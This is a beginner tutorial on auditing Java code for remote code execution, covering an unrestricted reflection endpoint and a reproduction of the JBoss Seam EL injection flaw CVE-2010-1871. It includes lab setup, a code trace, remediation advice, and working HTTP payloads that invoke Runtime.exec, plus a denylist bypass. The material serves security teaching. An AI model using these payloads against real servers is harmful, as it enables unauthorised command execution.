Java Code Auditing for Beginners 05: RCE Vulnerabilities and Real-World Cases

Summary0x00 Preface. I created this series because online Java code-audit material is usually fragmented and unfriendly to beginners. I am also learning Java auditing, so the series records and summarizes that process. It is intended for readers with basic Java syntax knowledge and will cover…

javaJava Code AuditingGetting Started with Code AuditingJava reflection

0x00 Preface

I created this series because online Java code-audit material is usually fragmented and unfriendly to beginners. I am also learning Java auditing, so the series records and summarizes the process.

This series is primarily forreaders with basic Java syntax knowledge. The series covers audit environments, SQL injection, XSS, SSRF, RCE, file inclusion, deserialization, classic Struts2 and WebLogic vulnerabilities, Fastjson, Jackson, and related case studies. The order may change, but the overall scope will remain. I hope the series proves useful.

The following articles are currently complete:

[Introduction to Java Code Auditing—01] Preparing for an Audit /codeaudit/588.html

[Introduction to Java Code Auditing—02] SQL Injection Principles and Case Study /codeaudit/600.html

[Introduction to Java Code Auditing—03] XSS Principles and Case Study /codeaudit/605.html

[Introduction to Java Code Auditing—04] SSRF Principles and Case Study /codeaudit/678.html

0x01 Preface

Download the RCE test source:

https://github.com/cn-panda/JavaCodeAudit

Import the project to obtain the following directory structure:

1.png

The project invokes class methods for operations. The Servlet calls rceTest.CommandFound(command, method, str), where command is the command class, method is the invoked method, and str is its content.

This project simulates add, delete, and modify requests from the web by invoking AddCommand, DeletcCommand, and ModifyCommand methods on Command classes.

0x02 Vulnerability Principles

1. RCE Definition and Principles

RCE means remote code/command execution: an attacker submits a command through a web or client interface, and missing validation or server-side logic flaws cause it to execute, sometimes without an absolute path.

RCE often results when executable functions or custom method entry points are not filtered, letting clients submit malicious statements for server-side execution. Common functions include:Runtime.exec(). Audits must not rely on this function alone; Process and other targetsProcessBuilder.start()and related targets are also important.

2. Where RCE Appears

RCE appears in many scenarios:

1. Direct server-side execution functions (exec(), etc.) with insufficient argument filtering

2. No direct server-side execution function (exec(), etc.) with insufficient argument filtering

3. RCE through expression injection: OGNL, SpEL, MVEL, EL, Fel, JST+EL, and others

4. RCE through Java server-template injection, such as Freemarker, Velocity, or Thymeleaf

5. RCE through Java scripting languages such as Groovy or JavascriptEngine

6. RCE through third-party components such as Fastjson, Shiro, XStream, Struts2, and WebLogic

These are common RCE scenarios. Causes include weak filtering, deserialization call chains, and unsafe features. This article covers weak filtering; later articles cover the others.

3. Project Demonstration

Using the project above, first inspect its implementation:

2.png

command names the requested class, method names its method, and str is the argument. The server receives all three and invokes method. First locate com.sec.pojo.Commandclass, then locate itsAddCommandmethod, then supply its required arguments[add]

3.png

The project simply receives parameters and performs an operation. InrecTest.javacontains the following code:

JAVA
public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
		// TODO Auto-generated method stub
		PrintWriter print = resp.getWriter();

  // Read the parameter
		String name = req.getParameter("command");
		String method = req.getParameter("method");
		String str = req.getParameter("str");

  // Get the no-arg constructor of the class
	    Class getCommandClass = Class.forName(name);
	    Constructor constructor = getCommandClass.getDeclaredConstructor();
	    constructor.setAccessible(true);
	// Instantiate the class
	    Object getInstance = constructor.newInstance();

  // Get the method
	    Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
	    getCommandMethod.setAccessible(true);
  // Invoke the method
	    Object mes = getCommandMethod.invoke(getInstance, str);

	    print.println("Command about to run: <br>");
	    print.println(mes);
	    print.flush();
	}
}

The code obtains a class name and methods through reflection. For Java reflection background, see /codeaudit/705.html.

The code contains no obvious execution function such as exec() or system(), yet it is vulnerable to RCE:

4.png

The class, method, and arguments are unrestricted, causing RCE—the second scenario listed above.

With deserialization's popularity, RCE frequently appears in gadget chains, which also explains extensive reflection use: layered calls ultimately reach code execution.

0x03 Remediation

Remediation depends on the command-execution scenario. In general:

1. Do not let users control executed commands. If input influences execution, use an allowlist of safe commands; replace non-allowed values with safe defaults or reject them.

2. If user input becomes a command argument, validate it. Denylists are fragile because real arguments are complex and hard to track. Prefer an allowlist and accept only strings entirely composed of approved characters. Allowlists can still be bypassed through combinations of allowed characters, so their design is critical.

3. Attackers can sometimes alter commands through the environment. Execute commands using absolute paths.

4. Apply least privilege. Commands often need very limited permissions. In the example above, if we do not setsetAccessible(true);, preventing attackers from calling Runtime.exec()command.

0x04 Case Study: CVE-2010-1871

1. Case Overview

CVE page:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871

JBoss Seam 2 in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux does not properly filter JBoss EL input, allowing remote attackers to execute arbitrary code through a crafted URL.

The CVE notes that exploitation requires a misconfigured Java Security Manager. But the issue has two distinct points; searching cve-2010-1871 in Metasploit shows:

5.png

There are two exploits. First examine the first:auxiliary/admin/http/jboss_seam_execconfiguration

6.png

This exploit targets/seam-booking/home.seam

whereasexploit/multi/http/jboss_seam_upload_execconfiguration:

7.png

This exploit targets/admin-console.login.seam. Exploitation fails when the Java Security Manager is configured.

The exploitation point here is:/seam-booking/home.seam

2. Building the Test Case

Environment requirements:Ubuntu 18.04jdk 1.6ant 1.6JBoss AS 5.0.1JBoss-seam 2.2.0.CR1

Install JDK 1.6 and configure environment variables:

  • chmod u+x /usr/lib/jvm/java/jdk-6u45-linux-x64.bin Make the file executable
  • ./jdk-6u45-linux-x64.binExtract the file
  • mkdir -p /usr/lib/jvm/ Create a directory for the JDK
  • cp -r jdk1.6.0_45 /usr/lib/jvm/Place the extracted JDK in the directory created above
  • Installjava/javac/javaws/jarcommand
SH
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1
update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1
update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1
update-alternatives --config javac
update-alternatives --config java
update-alternatives --config javaws
update-alternatives --config jar
  • Executejava -versioncommand. Version output confirms installation.

Configure Ant 1.6:

  • First open the profile filesudo vim /etc/profile

  • Append to the file:

SHELL
# path to the ant directory
export ANT_HOME=/home/panda/www/ant
# path to the jdk you just installed
export JAVA_HOME=/usr/lib/jvm
# leave the rest at the defaults
export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

After configuring the environment variables, runsource /etc/profileReload environment variables

Configure JBoss AS 5.0.1:

  • Extractjboss-5.0.1.GA.zip
  • Open/server/default/deploy/jbossweb.sar/server.xmlfile and search for${jboss.bind.address}, change it to0.0.0.0, as follows:
XML
<!-- A HTTP/1.1 Connector on port 8080 -->
      <Connector protocol="HTTP/1.1" port="8080" address="0.0.0.0"
               connectionTimeout="20000" redirectPort="8443" />

      <!-- Add this option to the connector to avoid problems with
          .NET clients that don't implement HTTP/1.1 correctly
         restrictedUserAgents="^.*MS Web Services Client Protocol 1.1.4322.*$"
      -->

      <!-- A AJP 1.3 Connector on port 8009 -->
      <Connector protocol="AJP/1.3" port="8009" address="0.0.0.0"
         redirectPort="8443" />

InstallJBoss-seam 2.2.0.CR1

  • ExtractJBoss-seam 2.2.0.CR1.zip
  • Place the extracted files under the JBoss directory:
8.png
  • Enter/jboss-seamdirectory and editbuild.propertiesfile and append:
TEXT
# this path is the Jboss installation directory
jboss.home /home/panda/www/jboss
  • Enterjboss-seam/examples/bookingdirectory and run the installer:ant deploy; installation runs automatically:
9.png

After installation, enter the directory under the JBoss root:binfile and run./run.shcommand:

10.png

After installation, the site opens locally:

11.png
12.png

#### 3. Vulnerability Analysis

This vulnerability is expression injection caused by JBoss EL parsing. Vulnerable file:jboss-seam/examples/booking/exploded-archives/jboss-seam-booking.ear/jboss-seam.jar

Decompilation yields this source tree:

13.png

/navigation/Pages.java is the entry point. Key code:

JAVA
private static boolean callAction(FacesContext facesContext) {
     boolean result = false;
  // Read the value of the HTTP parameter actionOutcome
     String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionOutcome");
     String fromAction = outcome;
     if (outcome == null) {

 		 // Read the value of the HTTP parameter actionMethod
		 String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
     if (actionId != null) {

					if (!SafeActions.instance().isActionSafe(actionId))
            return result;
					String expression = SafeActions.toAction(actionId);
					result = true;
					Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
					outcome = toString(actionExpression.invoke(new Object[0]));
       		fromAction = expression;
					handleOutcome(facesContext, outcome, fromAction);
       	}

     } else {
       handleOutcome(facesContext, outcome, fromAction);
    }
      return result;
  }

gets parameters. If actionOutcome exists, it passes it directly to handleOutcome function:

JAVA
// the handleOutcome method
public static void handleOutcome(FacesContext facesContext, String outcome, String fromAction) {
     facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome);
     Contexts.getPageContext().flush();
   }

Directly callfacesContext.getApplication().getNavigationHandler().handleNavigation()

This is equivalent to the familiar statement:FacesContext.getCurrentInstance().getExternalContext().redirect()

handles JSF navigation. Continue into handleNavigation function:

JAVA
//  the handleNavigation method
public void handleNavigation(FacesContext context, String fromAction, String outcome) {
     if (!context.getResponseComplete())
     {
       if (isOutcomeViewId(outcome)) {
         FacesManager.instance().interpolateAndRedirect(outcome);
       } else if (Init.instance().isJbpmInstalled() && Pageflow.instance().isInProcess() && Pageflow.instance().hasTransition(outcome)) {
	        Pageflow.instance().navigate(context, outcome);
       } else if (!Pages.instance().navigate(context, fromAction, outcome)) {
			     this.baseNavigationHandler.handleNavigation(context, fromAction, outcome);
       }
    }
  }

If the current request did not callresponseComplete()method, then passisOutcomeViewId()method:

JAVA
 // the isOutcomeViewId() method
private static boolean isOutcomeViewId(String outcome) {
   return (outcome != null && outcome.startsWith("/"));
 }

If the argument is non-empty and begins with/prefix, enterFacesManager.instance().interpolateAndRedirect()method, with JBoss EL parsing occurring through this call stack:

  • interpolateAndRedirect (FacesManager.java)
  • interpolate (Interpolator.java)
  • interpolateExpressions (Interpolator.java)
  • createValueExpression (Expressions.java)

The complete vulnerability flow is:

14.png

The vulnerability flow is clear. The remaining task is constructing JBoss EL, an extension of Java EL. For parameter binding:

JSP
<h:commandButton action="#{hotelBooking.bookHotel(hotel.id, user.username)}"value="Book Hotel"/>

For value binding:

JAVA
#{person.name.length()}
// use the length() method to return the length of a string

JBoss EL can reference server-side session objects, their properties, and parameters. Once a base object is resolved, arbitrary methods can be invoked on it, enabling reflective access to other classes and methods such asjava.lang.Runtime, which can be referenced with the following expression tojava.lang.Runtimeclass:

JAVA
expressions.getClass().forName('java.lang.Runtime')

Java reflection can retrieve one method or all methods from a class.

To retrieve all methods:

JAVA
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

Retrieve one method:

JAVA
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')

Run:

JAVA
expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')

The full EL expression now works as follows:

JAVA
%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')}

Combining the requirements above:

  • must containactionOutcomeParameter

  • actionOutcomeargument must begin with/prefix

  • A destination navigation address is required

  • must include?symbol

  • ?symbol must be followed by an argument

  • The EL expression must be in?param=after

The final payload is:

HTTP
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}

Visiting it returns:

HTTP
/seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&cid=118

The result is:

15.png

Other payload forms exist online; first usegetDeclaredMethods()Retrieve all methods, then invoke a selected method through the array.

Suppose we want to knowjava.lang.Runtime.getRuntime()the method's index, try visiting:

HTTP
/seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[0]}
16.png

It returns:

HTTP
/seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&cid=143

is clearly not what we need.java.lang.Runtime(), continue tryinggetDeclaredMethods()[1]

The final result is:

getDeclaredMethods()[6]is equivalent tojava.lang.Runtime.getRuntime.exec()

getDeclaredMethods()[13]is equivalent tojava.lang.Runtime.getRuntime()

The final payload is:

HTTP
/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[6].invoke(null), 'gnome-calculator')}

Execution result:

17.png

4. Remediation

The vendor fixed this vulnerability twice.

https://securitytracker.com/id?1024253

https://securitytracker.com/id/1028601

The first fix checksactionOutcomechecks whether it contains#{and related characters, preventing EL expressions from arriving through HTTP parameters. The second fix checks another parameter,actionIdfix. Here is a brief explanation.

After Seam 2.2.2.Final, JBoss added a denylist/src/main/org/jboss/seam/blacklist.properties, filtering:

TEXT
.getClass()
.addRole(
.getPassword(
.removeRole(

It was still bypassed with array-like operators against the denylist, based on Orange's approach:Open here. I have not verified this; interested readers can try it): Change

JAVA
"".getClass().forName("java.lang.Runtime")

change to

JAVA
""["class"].forName("java.lang.Runtime")

JBoss Seam runs only on JBoss EAP 7, whose maintenance ended in November 2016. Risk is now high because submitted security issues were ignored and outdated third-party libraries remain.

0x05 Conclusion

Code auditing requires hands-on research, analysis, and reproduction. The packages and programs used here are in the project files for readers to reproduce.

0x06 References

https://cloud.tencent.com/developer/article/1547286

https://www.cnblogs.com/jayus/p/11435116.html

http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html

https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html

https://www.anquanke.com/post/id/156078

https://blog.orange.tw/2016/12/java-web.html

http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html